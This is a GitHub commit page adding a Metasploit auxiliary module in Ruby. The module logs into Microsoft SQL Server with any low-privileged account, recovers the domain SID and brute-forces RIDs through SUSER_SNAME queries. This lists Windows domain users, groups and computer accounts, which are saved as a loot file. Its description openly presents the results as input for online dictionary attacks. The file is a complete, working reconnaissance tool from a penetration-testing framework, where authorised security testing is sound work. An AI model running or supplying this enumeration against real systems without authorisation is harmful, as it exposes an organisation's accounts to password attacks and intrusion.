Skip to content

Commit 84e6db7

Browse files
committed
Land rapid7#4221, @nullbind's mssql auxiliary module
* Enumerate Windows domain accounts through MSSQL
2 parents 1e38e19 + 343a0d7 commit 84e6db7

File tree

1 file changed

+240
-0
lines changed

1 file changed

+240
-0
lines changed
Lines changed: 240 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,240 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
17+
'Description' => %q{
18+
This module can be used to brute force RIDs associated with the domain of the SQL Server
19+
using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
20+
through SQL Server queries as any user with the PUBLIC role (everyone). Information that
21+
can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
22+
accounts can then be used in online dictionary attacks.
23+
},
24+
'Author' =>
25+
[
26+
'nullbind <scott.sutherland[at]netspi.com>',
27+
'antti <antti.rantasaari[at]netspi.com>'
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
31+
))
32+
33+
register_options(
34+
[
35+
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]),
36+
], self.class)
37+
end
38+
39+
def run
40+
# Check connection and issue initial query
41+
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
42+
if mssql_login_datastore
43+
print_good('Connected.')
44+
else
45+
print_error('Login was unsuccessful. Check your credentials.')
46+
disconnect
47+
return
48+
end
49+
50+
# Get the server name
51+
sql_server_name = get_sql_server_name
52+
print_status("SQL Server Name: #{sql_server_name}")
53+
54+
# Get the domain name
55+
sql_server_domain = get_windows_domain
56+
if sql_server_domain.nil?
57+
print_error("Could not recover the SQL Server's domain.")
58+
disconnect
59+
return
60+
else
61+
print_status("Domain Name: #{sql_server_domain}")
62+
end
63+
64+
# Check if the domain and hostname are the same
65+
if sql_server_name == sql_server_domain
66+
print_error("The SQL Server does not appear to be part of a Windows domain.")
67+
disconnect
68+
return
69+
end
70+
71+
# Get the base sid for the domain
72+
windows_domain_sid = get_windows_domain_sid(sql_server_domain)
73+
if windows_domain_sid.nil?
74+
print_error("Could not recover the SQL Server's domain sid.")
75+
disconnect
76+
return
77+
else
78+
print_good("Found the domain sid: #{windows_domain_sid}")
79+
end
80+
81+
# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
82+
print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")
83+
win_domain_user_list = get_win_domain_users(windows_domain_sid)
84+
85+
disconnect
86+
87+
if win_domain_user_list.nil? || win_domain_user_list.empty?
88+
print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.')
89+
return
90+
end
91+
92+
# Print number of objects found and write to a file
93+
print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.")
94+
95+
win_domain_user_list.sort.each do |windows_login|
96+
vprint_status(" - #{windows_login}")
97+
end
98+
99+
# Create table for report
100+
windows_domain_login_table = Rex::Ui::Text::Table.new(
101+
'Header' => 'Windows Domain Accounts',
102+
'Ident' => 1,
103+
'Columns' => ['name']
104+
)
105+
106+
# Add brute forced names to table
107+
win_domain_user_list.each do |object_name|
108+
windows_domain_login_table << [object_name]
109+
end
110+
111+
# Create output file
112+
this_service = report_service(
113+
:host => rhost,
114+
:port => rport,
115+
:name => 'mssql',
116+
:proto => 'tcp'
117+
)
118+
file_name = "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv"
119+
path = store_loot(
120+
'mssql.domain.accounts',
121+
'text/plain',
122+
datastore['RHOST'],
123+
windows_domain_login_table.to_csv,
124+
file_name,
125+
'Domain Users enumerated through SQL Server',
126+
this_service)
127+
print_status("Query results have been saved to: #{path}")
128+
end
129+
130+
# Get list of windows accounts,groups,and computer accounts
131+
def get_win_domain_users(windows_domain_sid)
132+
133+
# Create array to store the windws accounts etc
134+
windows_logins = []
135+
136+
# Fuzz the principal_id parameter passed to the SUSER_NAME function
137+
(500..datastore['FuzzNum']).each do |principal_id|
138+
139+
# Convert number to hex and fix order
140+
principal_id_hex = "%02X" % principal_id
141+
principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ("0"+ principal_id_hex))
142+
principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join
143+
144+
# Add padding
145+
principal_id_hex_padded2 = principal_id_clean.ljust(8, '0')
146+
147+
# Create full sid
148+
win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}"
149+
150+
# Return if sid does not resolve correctly for a domain
151+
if win_sid.length < 48
152+
return nil
153+
end
154+
155+
# Setup query
156+
sql = "SELECT SUSER_SNAME(#{win_sid}) as name"
157+
158+
# Execute query
159+
result = mssql_query(sql)
160+
161+
# Parse results
162+
parse_results = result[:rows]
163+
windows_login = parse_results[0][0]
164+
165+
# Print account,group,or computer account etc
166+
if windows_login.length != 0
167+
print_status(" - #{windows_login}")
168+
169+
vprint_status("Test sid: #{win_sid}")
170+
end
171+
172+
# Add to windows domain object list
173+
windows_logins.push(windows_login) unless windows_logins.include?(windows_login)
174+
end
175+
176+
# Return list of logins
177+
windows_logins
178+
end
179+
180+
# Get windows domain
181+
def get_windows_domain
182+
183+
# Setup query to check the domain
184+
sql = "SELECT DEFAULT_DOMAIN() as mydomain"
185+
186+
# Run query
187+
result = mssql_query(sql)
188+
189+
# Parse query results
190+
parse_results = result[:rows]
191+
sql_server_domain = parse_results[0][0]
192+
193+
# Return domain
194+
sql_server_domain
195+
end
196+
197+
# Get the sql server's hostname
198+
def get_sql_server_name
199+
200+
# Setup query to check the server name
201+
sql = "SELECT @@servername"
202+
203+
# Run query
204+
result = mssql_query(sql)
205+
206+
# Parse query results
207+
parse_results = result[:rows]
208+
sql_instance_name = parse_results[0][0]
209+
sql_server_name = sql_instance_name.split('\\')[0]
210+
211+
# Return servername
212+
sql_server_name
213+
end
214+
215+
# Get windows domain
216+
def get_windows_domain_sid(sql_server_domain)
217+
218+
# Set group
219+
domain_group = "#{sql_server_domain}\\Domain Admins"
220+
221+
# Setup query to check the Domain SID
222+
sql = "select SUSER_SID('#{domain_group}') as dasid"
223+
224+
# Run query
225+
result = mssql_query(sql)
226+
227+
# Parse query results
228+
parse_results = result[:rows]
229+
object_sid = parse_results[0][0]
230+
domain_sid = object_sid[0..47]
231+
232+
# Return if sid does not resolve for a domain
233+
if domain_sid.length == 0
234+
return nil
235+
end
236+
237+
# Return domain sid
238+
domain_sid
239+
end
240+
end

0 commit comments

Comments
 (0)